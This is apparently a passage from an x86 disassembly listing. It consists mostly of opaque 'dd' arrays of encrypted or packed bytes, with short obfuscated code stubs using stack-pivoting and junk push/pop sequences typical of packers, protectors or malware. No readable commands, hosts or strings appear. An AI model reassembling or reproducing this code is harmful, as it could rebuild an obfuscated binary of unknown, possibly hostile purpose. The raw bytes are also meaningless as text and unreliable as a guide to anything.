		dd 38AC6C9Fh, 97BCCD9Eh, 1B4A60A5h, 0C4D1A566h,	6829E895h
		dd 5CA033CDh, 2276DC63h, 0B3E64C67h, 596B42D6h,	493263CBh
		dd 95C4FE8Ah, 85A29E8h,	155E4F54h, 45ED7F4Dh, 80AA6B14h
		dd 5B9EACD1h, 1C61301Ah, 4D93A188h, 5A1BDA28h, 0E960BE1Bh
		dd 0B49635Ch, 72376CC9h, 94A68D98h, 0F167E8B7h,	0CF0E2568h
		dd 9E6AF5BCh, 1725B316h, 9F58A285h, 1C796A09h, 0D7CBADE5h
		dd 80BA0729h, 79000000h, 4A780153h, 0D085AFB8h,	380A23B7h
		dd 8C4D83E6h, 0DE7BF0A6h, 635CA040h, 5BCFE4CFh,	4EDAA7F3h
		dd 0B97E4C67h, 0F0A5E51Ch, 4B1E3468h, 341F0C3Eh, 1C4963A0h
		dd 0ECDEF763h, 8AA2DCFh, 5536656Ah, 0A93C69C1h,	8A9F20Ch
		dd 1D361D6Ah, 0F9E80F89h, 612061BAh, 3464412h, 0F5D0AA23h
		dd 6A098E2Bh, 7E8025E4h, 896A098Eh, 58BB89A2h, 0E507E9A9h
		dd 0E4FE0729h, 3D000000h, 52C64317h, 0C4BB497Bh, 0BF7CE895h
		dd 0D347C095h, 3464C8FAh, 5F1EDD49h, 5CA024FAh,	0FAC8E363h
		dd 0EE7A0756h, 0AB6A1746h, 0D3F6F8D8h, 230BFA3h, 95BB62C7h
		dd 6435635Dh, 0D899D81Bh, 5D96A37Dh, 0B4476C63h, 0BFBA3889h
		dd 1AB684CFh, 61A2364Bh, 0F86C1D4Bh, 583DE3D1h,	0BEE4B8Ah
		dd 2E68F137h, 0F9059E5Dh, 2012C381h, 83DB1833h,	0A8E928E6h
		dd 26B24CE9h, 0F75D6A09h, 0FDCFE4A5h, 9A8481DEh, 0EA2B006Fh
		dd 386C90C0h, 0D4B5E74Dh, 46163CFFh, 66C7F13Bh,	4ADC736Fh
		dd 1CCFBh, 0D7E2900h, 0D7B2E4CEh, 1E6B3E14h, 0E4A5F7DDh
		dd 205D0D27h, 4085E6E3h, 84AE6D10h, 4369AAD7h, 83A96A17h
		dd 0DE6AA9D2h, 9566B81Dh, 58A16A0Eh, 0E994C42Ch, 0C651002Ah
		dd 5C9F9D63h, 6A416A63h, 0AAD781ABh, 0B6295D98h, 79DC1DD3h
		dd 68F0A58Ah, 0A384103Bh, 6A08AA59h, 0B0245909h, 0A7334E18h
		dd 45FAE90Ch, 4808FB9Eh, 72AC968h, 0B25Fh, 95C4A900h, 0DA83F69h
		dd 635C9FF3h, 881C371Ch, 0B61E8AA1h, 280F9BE6h,	635CA2F5h
		dd 0ECDBEEFh, 9C087524h, 12352346h, 8CB735D8h, 0F245909h
		dd 0B940E524h, 5468F173h, 81E4BC7Fh, 81278243h,	1A6F9AECh
		dd 2A186530h, 0F9D31239h, 3F15D4A9h, 0A0891D6Eh, 57165792h
		dd 0B8132CF2h, 0C2F0DB70h, 89433E6Eh, 736F3FA9h, 0EEAD1C8Ah
		dd 0F000000h, 0C2E82B58h, 1C36F594h, 0D5FF3C49h, 1339FA87h
		dd 0F8FD3E43h, 7B06569Bh, 0B8C192B8h, 7805517Bh, 0BFC091BBh
		dd 0AE0BC87Ch, 6A0E9650h, 0C43246BFh, 2AE994h, 9D63C651h
		dd 0D5635C9Fh, 0B8938683h, 0C4245093h, 59A70295h, 0B6635CA0h
		dd 2465379Dh, 26B299B0h, 1D8996E5h, 1F1AB07Eh, 0AFD0812Dh
		dd 9351346Ch, 0AB08F752h, 0EEC568EBh, 0FE83D27Ah, 7547E3Fh
		dd 0E2C7EE7Ah, 6A0F6B1Ch, 37F2C0EBh, 0BAEB4C1Dh, 0BCA0F188h
		dd 0AB8C1833h, 2328175Eh, 0A93D481Ch, 1931CF6Ah, 0F5DEC536h
		dd 0ABFF0B5Fh, 8361F5DEh, 0C246FDE4h, 5100BE25h, 9ACED2Ch
		dd 0C53618F7h, 988DFEAFh, 1922FC59h, 0C6EDC536h, 301ADFEDh
		dd 0CD53F661h, 3AC53618h, 6AE3A11h, 6BA13554h, 4E1FD50Ch
		dd 95BFFE3Dh, 52CB8C5h,	0B1CA9B37h, 39425h, 76600000h
		dd 0F693C480h, 0E69BCA62h, 0F38EDA72h, 0EF9CCF67h, 0FE83D37Bh
		dd 0EF92C26Ah, 0F881D37Bh, 0F491C46Ch, 0E39EC860h, 2268A277h
		dd 89000066h, 0D768242Ch, 89000014h, 8952240Ch,	4C281E2h
		dd 81000000h, 4EAh, 24148700h, 242C895Ch, 49D1BD55h, 0F5810E20h
		dd 891A574h, 545D5955h,	83242C8Bh, 685004C4h, 8, 89E80158h
		dd 34FF5808h, 0C4835D24h, 240C8B04h, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0FFFB4C91h, 813F8D91h, 0B1F7DEB8h
		dd 0FFC50306h, 0F182A7E0h, 5E98562Ah, 834D3625h, 11809B6Eh
		dd 0D6260C2Ch, 0B08E5332h, 0D684D661h, 0F2C23939h, 24AAEE4Dh
		dd 56CE8D4Dh, 8F06C623h, 8422E92Bh, 0F2AEFA6Fh,	8606E10Bh
		dd 0F3675B5Fh, 0E28839h, 8D3AEB1Eh, 5393891Ch, 3BFCC84Fh
		dd 0E7E17009h, 0FC7EF723h, 24EB55h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0F8ABB589h, 858B06B1h, 6AC0161h, 10ED858Bh
		dd 0B58D06ACh, 6B1F8F5h, 4150858Dh, 0D0FF06AFh,	0E855C3h
		dd 5D000000h, 0F8FBED81h, 0BD8306B1h, 6AC0161h,	2C850F01h
		dd 0FF000000h, 0B1F8ABB5h, 0ED858B06h, 3506AC10h, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 0AFB58D1Ch, 5606B1F8h, 0F8ABB5FFh, 858B06B1h
		dd 6AC10EDh, 81273635h,	83D0FF34h, 0B58D0CC4h, 6B1F8AFh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	0AC0161BDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 0D4858DCFh, 8906B1F8h, 0AC311985h, 0A9E906h
		dd 27CF0000h, 945A1Dh, 50000h, 10000h, 0A280000h, 20000h
		dd 24h dup(0)
		dd 0E9000000h, 0C2Eh, 0B1FBF568h, 83C6E906h, 4368FFFAh
		dd 0E906B1FDh, 0FFFA83BCh, 0B1FE5A68h, 83B2E906h, 0C668FFFAh
		dd 0E906B1FEh, 0FFFA83A8h, 0B2001A68h, 839EE906h, 7868FFFAh
		dd 0E906B200h, 0FFFA8394h, 0B203E968h, 838AE906h, 0ED68FFFAh
		dd 0E906B204h, 0FFFA8380h, 1ADB13FEh, 488945AAh, 1BDA12F8h
		dd 4A8B43ABh, 1ADB13FAh, 3AD19E67h, 19F34382h, 40AC1CDDh
		dd 14F54584h, 15019D8h,	0E13B5EB2h, 884A3E8h, 0B171AD5Eh
		dd 0FD2EE607h, 26C76057h, 8A03753Fh, 82E82C49h,	0E2510051h
		dd 0EF932EAEh, 6556DFF3h, 0E52F21B0h, 85DB6839h, 0CAF63F4Dh
		dd 567A6FE6h, 1BD33585h, 3AF871DBh, 3F4D558Fh, 914DBFF6h
		dd 0CD09E751h, 17D70FFFh, 0CE87E33Fh, 0CA264266h, 39E8A34Eh
		dd 2D42h, 4F8BCE00h, 3B15D139h,	7BB358E8h, 219023F2h, 0AEE52F3Bh
		dd 9DF74282h, 5DF63F3Fh, 75F10D79h, 7F39E8B9h, 0F1h, 30EC1EAEh
		dd 0AD5E35B9h, 0E807B171h, 0DE1ED630h, 23895A74h, 0C5A5991Fh
		dd 5A7BD309h, 9E08577Fh, 65D31198h, 3E884884h, 72C211CDh
		dd 578F7E9Ah, 0D3133D97h, 8033F079h, 0EF9302C3h, 0D300BC2Dh
		dd 92528A63h, 35629F3Eh, 92BC9E00h, 3989D81Bh, 0C12B19D5h
		dd 0E66FC505h, 39F935D6h, 27F49E5Ah, 2F0EC594h,	2C9FCEE5h
		dd 0F63F0EF8h, 0F5E06945h, 29E925C5h, 1AF16085h, 406EAA1Ah
		dd 0ECAAF6Eh, 7004B764h, 7DEBCE9Ah, 63D38251h, 0EADA538Bh
		dd 0BA0ACB03h, 0AE668753h, 2B246880h, 0ECD06869h, 9E5A0h
		dd 8C48AB00h, 0D410FD4Dh, 8F47A515h, 0D60EFE4Eh, 8C48A717h
		dd 0BAC9304Dh, 0EA5A9B53h, 0B505C400h, 0EC5C9D59h, 4B02C3FBh
		dd 3A73A91Ah, 9FB8E8E1h, 77AF5E13h, 33AF0EA4h, 0F0ABF4C5h
		dd 0BAEBBA79h, 92FAD309h, 0BD3418EFh, 61A05C8Dh, 254F8B6Dh
		dd 3BF445F6h, 5579E52Fh, 3FE82095h, 0AE8AF63Fh,	9C2F7EC2h
		dd 0F63F3F48h, 0B930B995h, 39E8B93Dh, 11837h, 7B7E600h
		dd 0C81C2DE9h, 15F63F4Bh, 210FC725h, 0D0599209h, 1C952905h
		dd 8CAD5E90h, 9335E93Fh, 54E736EFh, 0EF933600h,	614F614Dh
		dd 3CF817A1h, 9AAF45EFh, 15759529h, 0B9095E9Ch,	78BC9450h
		dd 6E043E50h, 2DEAD950h, 57EF9332h, 0FBF7EB6h, 132E20DEh
		dd 8C263168h, 937DE93Fh, 341A36EFh, 55CE431Ch, 98B6ADF2h
		dd 4FBF0F58h, 74FD5797h, 0EC3F5591h, 20DC0DBDh,	0F0C34AE0h
		dd 0E52FFF21h, 3EF61AAAh, 0C8DD54FEh, 0C47425E4h, 8065EC28h
		dd 0ACFD2E44h, 0F636EE1Ch, 41E6D55Ch, 8AEBCFA0h, 0B3F7E520h
		dd 0B23989Fh, 0AF9B56D1h, 5F4AC387h, 0F910A073h, 0D111CD21h
		dd 0D786557Bh, 0EF1F3064h, 6FE642FCh, 6B916BFCh, 1AD9507Ch
		dd 638B43AAh, 686AA01Fh, 97A1EDD1h, 1D000008h, 4BFB3AF2h
		dd 1FAF6EA6h, 44F435F1h, 19A968A4h, 86FB3AF2h, 1DD9307Fh
		dd 427A6CDCh, 27DF3383h, 79B556E6h, 13A0F1B8h, 0E8E138BDh
		dd 5EA92502h, 14A477AFh, 71B23BF3h, 2DEC28C1h, 0B215BF21h
		dd 0B97DF013h, 0E041D03Bh, 757E59C8h, 0FA735D99h, 10F921CAh
		dd 6DBE14D4h, 93278ADEh, 0D5FBD7EFh, 924AA315h,	98F23653h
		dd 40AA1A4Bh, 67EE4484h, 20FF6254h, 10C3EFE5h, 0A2904CA0h
		dd 0F852924Ah, 0F710A071h, 674DFE3Fh, 4F64522h,	4D68A9C3h
		dd 8965D51Dh, 0A87D1E4Bh, 0EEC0E1C0h, 0D1468267h, 1AA88C7Bh
		dd 0EADB2B97h, 0F64478B6h, 2AF9D7FBh, 0E085F899h, 9E9C5EBh
		dd 2583A5BCh, 0EC1EAE89h, 0A05CF030h, 3AA0F6D7h, 5EBB321Ch
		dd 0A3A6F69Ah, 0A01D103Ch, 83EE5D8Eh, 88655A6h,	3B3E424h
		dd 287CCFEAh, 759765A9h, 1DB77759h, 0D9B57194h,	0EF03884Fh
		dd 0ECC61F37h, 982BF8D6h, 8CF62029h, 0F9499AB6h, 0A515D410h
		dd 28608844h, 0EC0990B0h, 7809CD0h, 0E9040000h,	0AF5CEC2Dh
		dd 0E806B677h, 0AD5DED2Ch, 0E900B071h, 6891EC2Dh, 39F834DBh
		dd 66A75F89h, 43823AD6h, 23E21AF3h, 54883B6Ah, 99E8E137h
		dd 4F8B32BEh, 14A7F625h, 0EF9335C0h, 11CD3D0Dh,	0DC557BD1h
		dd 0CCCBE0Dh, 7D51E521h, 1DAEFFAEh, 0F6452EC7h,	81B13814h
		dd 0C171B06Ch, 8630F02Ch, 9D41A965h, 0C761C0BBh, 714B7FBh
		dd 75980000h, 23C878B9h, 749A2AEBh, 21C979B8h, 759424E5h
		dd 0FC0578B9h, 458440AFh, 1ADB13F5h, 4F8E46AAh,	17D60EFFh
		dd 68BC0F5Eh, 0B5E8E137h, 4F8B1E92h, 0D919D539h, 3D8E5D73h
		dd 0E5210D49h, 914DA212h, 6772FB51h, 0BF28984Bh, 0FE3EF61Bh
		dd 0AA6AA248h, 32062E00h, 56EAB0B3h, 5405C4EAh,	663F54FEh
		dd 0EC652959h, 4EB8CE09h, 0D86BB896h, 0F6447C50h, 8A42A919h
		dd 7C69E04Ah, 0A464A04Ch, 6C6FE12h, 7FAC82ACh, 8F65F9D5h
		dd 0A62F81ABh, 2278D164h, 0AD7AF645h, 0F535F11Dh, 22BB11A2h
		dd 2C00F645h, 0BDA98B02h, 0F558A521h, 3FAF39h, 8B230000h
		dd 1BD33A4Ch, 0BF4EFD33h, 92BC39FCh, 0E21AF141h, 0D709BA6Bh
		dd 24EF926Ah, 237DC808h, 0D7EF926Bh, 0FF7B97F3h, 0F5C0BB80h
		dd 11h,	0E20FBF79h, 0AD5CEA2Ah,	1CD65F71h, 1C1h, 659DCB16h
		dd 0F836D7A1h, 0A4CA9D7Ch, 0CE0E207Ah, 2A994A64h, 0E52F39ABh
		dd 3F8F5C70h, 7ED414D0h, 0F24215F7h, 8923E31Bh,	0F0733300h
		dd 4C8824DAh, 0DB46F526h, 0A49B862Ch, 0B039F514h, 2A4989A5h
		dd 0BB7398EEh, 84F54695h, 9A22695h, 0A546F625h,	0E00ABA69h
		dd 0DE6EAD24h, 5B19F12Dh, 891EC124h, 5C0F9B5h, 0A9440000h
		dd 0EF1CAC6Dh, 0A846F637h, 0ED1DAD6Ch, 0A940F031h, 28D1AC6Dh
		dd 0F938F41Bh, 0A6679F49h, 3C2FA16h, 63A25AB3h,	94C87B2Ah
		dd 0D9E8E135h, 15BF72FEh, 0A0B229E8h, 0BC2E1C7Eh, 50B98900h
		dd 0F3375494h, 1CF94A99h, 61E52F27h, 0CB3C8C4Dh, 0A24E00Fh
		dd 0BAB648E2h, 0F8B48861h, 562h, 0D213CB26h, 90518D62h
		dd 0D312CA20h, 92538B63h, 0D213CB22h, 0F21956AFh, 0A14BFB3Ah
		dd 0F814A465h, 9C4DFD3Ch, 0B9E8A160h, 0E135D60Ah, 0B03C1BE8h
		dd 7F6DAD5Eh, 0ABA6947h, 44EE2EE6h, 50B90FCDh, 0D6ED4794h
		dd 0ED29C65Fh, 863A02C5h, 0AA8CD0Fh, 1AD23B5Eh,	8256D2DBh
		dd 495AC0BBh, 8B000000h, 0DA1AD23Bh, 8B75F970h,	2A9234Fh
		dd 9174C5F3h, 2EDC6CBFh, 0ACA02EAh, 0E44E8EA0h,	0E20FBC6Dh
		dd 2BE52F53h, 5F93C97Ah, 0F4D8F63Fh, 8444687Dh,	3F5FD731h
		dd 0D3BF9BF6h, 0E899B337h, 5BB939h, 0D8680000h,	0FF73FA32h
		dd 0D65015BFh, 0BD17314Ah, 7F15D134h, 9B4DFDACh, 3B09A363h
		dd 73D919D5h, 0D242C9FAh, 7BCBE52Eh, 0C7D25B93h, 289238EBh
		dd 0D6BF7207h, 0ADE35083h, 0F2F63ECDh, 368657DEh, 8DDC1DD9h
		dd 0D313CB3Dh, 8AC3F079h, 0F2F63ECDh, 0AC1CDD19h, 0B47873Fh
		dd 466h, 0DE0FBF01h, 0C54CE626h, 5D8EE420h, 2F2BFBEEh
		dd 0E65504E5h, 0F63F4FB2h, 4F5AD3FFh, 0F415A363h, 0EACAF838h
		dd 618A3A7Eh, 0DC92CA5h, 1207B467h, 0DFEBDB46h,	0EFC1FDEFh
		dd 0A4608C3Ch, 8447CE64h, 0E707D334h, 6B45EF2Fh, 28E408B8h
		dd 9CB42E8h, 17C4AE6Ah,	875C95A4h, 0E8F45EF2h, 0CA88FED7h
		dd 74584DC4h, 553113B4h, 0EE2FE700h, 32ED15BFh,	0FE5EB8ABh
		dd 1B33999Fh, 179E60CEh, 8F5C36F2h, 3336413Ch, 51BA0AF9h
		dd 0BF3A3D93h, 0B259CA9h, 0BF5361CBh, 0E46DC707h, 5F0EDDF1h
		dd 4409B8ECh, 0A029050Ah, 0D7643562h, 0A440981h, 2CF4E4CEh
		dd 9E1FDA42h, 0E00939B0h, 0F7A6F724h, 43871044h, 40715D0Ah
		dd 0A43870Ch, 4B5C9874h, 8B2CEE67h, 2879BDA9h
		dd 4386459Bh, 2FA68A0Ah, 0B7640ECAh, 0DF792904h, 499AB6FFh
		dd 1BDB13F9h, 4BFB38B1h, 1CAA6AA2h, 0C3F131EDh,	39D287E3h
		dd 0A55DB300h, 8EA210EFh, 0C00461A0h, 0BBCA79AAh, 4068B98h
		dd 0C2B2E655h, 0D3FF179Bh, 0C25DB300h, 8EA2179Bh, 0ED3E1207h
		dd 0B676AE5Dh, 0C2FE52E1h, 6F43179Bh, 0BC0AC841h, 0F453934Bh
		dd 0F632BAD6h, 0CDFC4F9Ch, 0D20D37B5h, 6D872DFEh, 41337FC5h
		dd 1FD73507h, 3FFC75DFh, 66A65E8Fh, 2CFF37D0h, 0C7A7C586h
		dd 3A08BF78h, 74DE1ED6h, 9F5B3EFDh, 0C09526F5h,	0D13E3D6h
		dd 61306327h, 42CE370h,	0B5289FAEh, 1BDBF5BDh, 0F3E876AEh
		dd 44200424h, 24062CA8h, 35240Ah, 8BA80000h, 45F6254Fh
		dd 0E52F3BF4h, 0C2955579h, 0D04CD668h, 5BD237C2h, 3F6F3068h
		dd 8AE6C2F6h, 0AC688636h, 0C64FC66Ch, 39E88842h, 873FA818h
		dd 0F7810Eh, 0BF0D0000h, 0E626DE0Fh, 14F5C54Ch,	1E4F18D8h
		dd 933577ADh, 15F4C4EFh, 4E7EF7D9h, 11A7679Fh, 5FEF3CF8h
		dd 3DFF76AEh, 74AC628Bh, 87C7321Dh, 0C774B59Bh,	0EF931B08h
		dd 9E5F9770h, 0C101BD2Eh, 0DF0C66A2h, 22E73D8Eh, 1834EF93h
		dd 9AF34091h, 0E7E52F26h, 0EB5B0ACBh, 0B305C501h, 3AB39D59h
		dd 3F8C1BDFh, 0F63F2EE9h, 0E7341A36h, 54E7B6h, 72F63F2Fh
		dd 40DE237h, 6B4750A5h,	9D82D1E2h, 0A38FEBCEh, 79912170h
		dd 0A3588CBDh, 6680FCEDh, 1C95B9AEh, 568E7DCDh,	1DD93585h
		dd 8E75794h, 308C24CCh,	7C406869h, 1F130h, 0A05CB700h
		dd 803CD161h, 0E31BF141h, 427A9222h, 20DC3383h,	26659CE1h
		dd 7ECE0FC7h, 2191508Ch, 60D011CDh, 0C78E4F87h,	32EF2596h
		dd 1B3CE8E1h, 77AF5E97h, 3DF314A4h, 0DE1E9D9Ch,	159CB263h
		dd 0D73787D6h, 0FC75DF1Fh, 22E31BCCh, 254F8B2Eh, 3BF445F6h
		dd 4979E52Fh, 84446AA2h, 3F3FD731h, 0D3BF9BF6h,	0F62EDF6Fh
		dd 0B972F67Fh, 0D77639E8h, 0FA000000h, 3F8CAD5Eh, 0EF9335E9h
		dd 0F4341A36h, 0A073AB42h, 70AC41F1h, 93360B41h, 0AF7C50EFh
		dd 9335C81Ch, 0B03915EFh, 73952572h, 2D17BBBh, 93355BB1h
		dd 58CA0EFh, 93325936h,	0B26A83EFh, 0F22AC373h,	87346532h
		dd 0EF933A51h, 989AB29Eh, 0EE81D2D6h, 0D511F47Dh, 6C3D6CBFh
		dd 76CB74C6h, 9DAC9F30h, 0EF940547h, 231B894h, 0E53009CBh
		dd 98FD3C10h, 56E5365Ch, 0EBCFB36Ah, 0F8489BB7h, 0A414D511h
		dd 0BF779545h, 3EDD7991h, 3B07686Ah, 0ED77h, 0A460B300h
		dd 0FC38D565h, 0A75F8D3Dh, 0FE36D666h, 0A4608F3Fh, 0A2E11865h
		dd 0E252934Bh, 0BD0DCC08h, 0E4549551h, 430ACB03h, 316BA112h
		dd 97B0E8E1h, 0DF0FBF1Bh, 6F9EAE27h, 25C676B7h,	0C97928E9h
		dd 8329E925h, 0AD5E860Ah, 0E607B171h, 4E8AEF2Eh, 15A6F724h
		dd 0EF9335BFh, 78A9200Ch, 210CF3CBh, 0DC0CBCE5h, 93150926h
		dd 0A48A18FAh, 5247CE64h, 0DF08BE7Eh, 0B556E627h, 8D4D8965h
		dd 9EC90927h, 0C606BE2Eh, 3AD6E56Ch, 22B9D3ABh,	7BCD0DC9h
		dd 0B6985894h, 0DBBFA96h, 0EB1C412Dh, 0B650E033h, 6534F77Eh
		dd 77FE36D5h, 0AE6EA647h, 0C51BA8F9h, 0A52F3ACh, 6F9FAF26h
		dd 0F2D077B7h, 0EE2AC396h, 0FA32D800h, 7EBE903Ah, 0C6E824C8h
		dd 709929E8h, 3CCD67B4h, 0A2F6456Bh, 0EF52F339h, 68CFEBC3h
		dd 0FD39D1E3h, 3FAB674h, 0F0000000h, 0B35E7200h, 0DC0DBB7Bh
		dd 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch
		dd 8E7CCA0Ah, 0CB209656h, 68DDD313h, 2E5Ch, 50241489h
		dd 405E089h, 2D000000h,	4, 5C240487h, 57241C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 3C895C24h, 0FAA06824h,	1C8B06B1h
		dd 4C48124h, 68000000h,	4F63h, 83242489h, 5F042404h, 4EC81h
		dd 1C890000h, 8478F24h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 3Ch
		dd 917DB994h, 0FFB8DFB5h, 306B205h, 43E0FFC5h, 621C3C04h
		dd 0ED035440h, 0B722FEF2h, 2346EA57h, 9C21E3DDh, 0C374915Eh
		dd 0AD27B34Eh, 0D66A290Fh, 231D75F6h, 0AD1557D8h, 3612E56Fh
		dd 20038F16h, 545CDE3Bh, 9A7AB4CDh, 432D732Fh, 0E2172884h
		dd 3C1BC9C0h, 0F54896A3h, 4746598h, 187A62FCh, 816C28DDh
		dd 0AC5FBB00h, 57243EB0h, 8F6F1AEAh, 0CA011951h, 39073E4Ch
		dd 8D76B96Eh, 0B207E18Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0FD84D6D4h
		dd 0B6D13C0h, 0AC0FC5B5h, 39BD3106h, 8906AC25h,	0AC2F0D8Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 7185893Dh, 0E906AC13h, 9, 0B4DC75D7h, 0A56F8C4Dh
		dd 585C757h, 0A006AC1Eh, 0F000067h, 685h, 1BD0B00h, 0C706AC2Eh
		dd 0AC27F185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0FF03CC48h, 0AC0D79B5h
		dd 0CE906h, 693A0000h, 0DFC42FD4h, 7236EFB0h, 95FF3FFCh
		dd 6AC0BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	6EC35040h, 11518589h, 6A06ACh, 214595FFh, 0C08B06ACh
		dd 0C7720EEBh, 210AA99h, 89118BD2h, 4798F8E6h, 7E8h, 0C6084900h
		dd 11CE06FEh, 5ACBBF0Fh, 5CC281FCh, 0B7000069h,	0D655BE35h
		dd 0C681315Ah, 0CEA543C5h, 1A159D0Bh, 32FF06ACh, 15E88166h
		dd 6E95F2Ch, 0C9000000h, 38530E1Eh, 0ABF781B2h,	8B70A7BAh
		dd 20F781CFh, 0F76FF7Ah, 389h, 4DE38000h, 2AB3F781h, 0BE870C2h
		dd 0FF000000h, 8C7EEA76h, 0BD402976h, 0D080C50Bh, 0F575801h
		dd 0E8Bh, 9E900h, 8C820000h, 3AF0735Ah,	8F4A200Ch, 318D0902h
		dd 8106AC22h, 687CE2EAh, 6E85Dh, 248A0000h, 0DBCD124Ah
		dd 26858D8Bh, 815B06ACh, 687CDEC2h, 8E95Dh, 0FDE90000h
		dd 33A4B813h, 0EE833A3Dh, 16850F01h, 80000000h,	36E9FAC8h
		dd 0FD000000h, 514F53F3h, 0B986B5EEh, 2843686Fh, 0DE8FCh
		dd 7D850000h, 0FF344745h, 0B690D5D4h, 8902493Ch, 0AC120DB5h
		dd 37E95806h, 0F0FFFFFFh, 0EDBCA1DCh, 4EC71121h, 32E951h
		dd 5DE30000h, 6C5Bh, 0Bh dup(0)
		dd 4EAE9h, 64A07300h, 3CF815A5h, 679F4DFDh, 3EF616A6h
		dd 64A04FFFh, 6221D8A5h, 2292538Bh, 7DCD0CC8h, 24945591h
		dd 83CA0BC3h, 2D2B61D2h, 5770E8E1h, 71AD5EDBh, 0C2FA12A2h
		dd 356EA211h, 9FB3EF93h, 8B62D416h, 0C9229253h,	927BCD0Dh
		dd 0BF2C9A5Ah, 26F5C707h, 81BAC78Ch, 0C87B24F2h, 0EF927F94h
		dd 52DBF5D9h, 0A8411470h, 0F11DAD6Ch, 0A844F435h, 7FEE2291h
		dd 1F33EF92h, 0F7A6F131h, 92801044h, 0F8715DEFh, 26E61EC8h
		dd 7EBE7690h, 9D2607D2h, 0C1F3F3A3h, 8B2CEC28h,	0A784BDA9h
		dd 4C4ADC76h, 8AFECA4Ch, 10452103h, 0B101C0FCh,	0E95C9C58h
		dd 0EF92A7B0h, 0C8279744h, 386CDF0Ch, 85EF92A8h, 660220A9h
		dd 0BBC20E8Ah, 5C02C0h,	82D30000h, 92B4DB31h, 850C20EFh
		dd 71AD5E09h, 0B656E6B1h, 8EC4F77Eh, 6AEF9335h,	46C21E4Ah
		dd 4AC0BB4Fh, 6, 9C52B9Bh, 0B15E0C80h, 48E2B575h, 2D8428Eh
		dd 6ACD841Dh, 0A830A58Dh, 38D5E56Ch, 628A3CFCh,	78586AAAh
		dd 74A4490Ch, 369C5C98h, 12FE704h, 5F9770C0h, 0AF5E929Eh
		dd 0EC01B777h, 3795F030h, 2E4DE75Bh, 0CA7B44B4h, 5BB2820Bh
		dd 833362A3h, 0A9FF4C6Dh, 0F6EF92DBh, 9E34F4DAh, 0EC62717h
		dd 0C3EA77DDh, 76C036FCh, 658B3DFFh, 924569A9h,	0A2152438h
		dd 0C24B2CF7h, 0FC6884E0h, 14C0BBF4h, 86h, 8AAF5E98h, 363468DBh
		dd 5579EF93h, 93363064h, 7F517DEFh, 37E309BFh, 54E222DAh
		dd 7A547AB2h, 23DB0CBAh, 78B455E3h, 0D5BF14B8h,	0FACFB639h
		dd 0D68FFBD9h, 71244060h, 0F2A3629Ah, 0B676AE42h, 46A5951Ch
		dd 71437B92h, 8D4D639Bh, 0DB1BD33Bh, 5BB7D3F7h,	0C0BB16CFh
		dd 40C5h, 45A41400h, 30E34989h,	92E04D83h, 37BE92EFh, 77AF5EBBh
		dd 31ED01B7h, 6905D9F1h, 0CA19D534h, 96B90060h,	63EABE96h
		dd 0B15EACA0h, 0C900B575h, 0AFEF9335h, 8307E38Fh, 89C0BB4Fh
		dd 1, 5DEEBF05h, 0EF933607h, 0C1F17854h, 8533F32Bh, 0B2E65564h
		dd 0FFEF9335h, 9A3DFDD3h, 0DB13FB4Bh, 6A83B11Bh, 6D193BB2h
		dd 0F52B98C9h, 3AEF9335h, 41AF9F16h, 0E5214485h, 36B6B489h
		dd 0C5EB9AD7h, 18D4A516h, 7559E52Fh, 0CFEA03B5h, 3F3F287Ch
		dd 715975F6h, 25E9C5EFh, 8A4B65AEh, 4F876BDBh, 0D915F6C6h
		dd 0F776AC19h, 0DC00F63Fh, 0C0FCEDB0h, 0B335B913h, 365EA673h
		dd 1BCC7CBFh, 749523E3h, 4C1D78B8h, 863EAD1Dh, 87DDEC46h
		dd 0D4F63F45h, 375371F8h, 8C4D8962h, 8C5377DDh,	8AD8F611h
		dd 270E8A03h, 200239E8h, 8E000001h, 0F6254F8Bh,	3DF917A7h
		dd 0EDDE57FDh, 0E52F2204h, 0B5EB5889h, 0FAF63F4Ah, 8E38F8D6h
		dd 0C272A15Dh, 0A665EC28h, 0F939F516h, 289B9E4Fh, 0F63F4AF4h
		dd 0C7271539h, 84E1210Fh, 0F6174A26h, 72F6FF3Eh, 7639E8A4h
		dd 40h,	264C8BFAh, 363246F5h, 133F6F93h, 363266D3h, 0E2C26F93h
		dd 0ABC10686h, 35B5CB78h, 0CE7EEF93h, 7D68E11Dh, 90C19051h
		dd 9335ED23h, 971E32EFh, 0A25Dh, 55BA0A00h, 0C1F35999h
		dd 0E864ED29h, 0F6254F8Bh, 0C2FA17A7h, 1221A802h, 0E52F2817h
		dd 4E823160h, 93F63F54h, 0F2336BFh, 58806CDCh, 965678B4h
		dd 2077B53Ch, 7DBD7990h, 0CBE521CBh, 41997242h,	9E5F71ADh
		dd 0B3CF65CFh, 0FDBBEDC9h, 6BA34474h, 1EADFCABh, 0F63FEACAh
		dd 81B23B17h, 0F63FE946h, 0DD80EC30h, 5431F02Ch, 9A29FA90h
		dd 0EBCDF238h, 3E69A985h, 0F488DC6Fh, 0E5D5FCF1h, 6FE6C804h
		dd 0B676AE5Fh, 0D7573311h, 19AA7913h, 0F27FFBB5h, 5405D6FAh
		dd 0A3FDB1E7h, 1FCEFE03h, 0A38D27E7h, 8BE5E92Ah, 45F6254Fh
		dd 0E5213D01h, 0F82C9F4Eh, 45F6453Eh, 24944769h, 7DCB0BC3h
		dd 3C96568Eh, 0EF599B12h, 5607C6FEh, 45CC08E6h,	16A59475h
		dd 0F6453EC2h, 0CD0D230Fh, 9A6B3F78h, 0A1CDED49h, 12D30BFCh
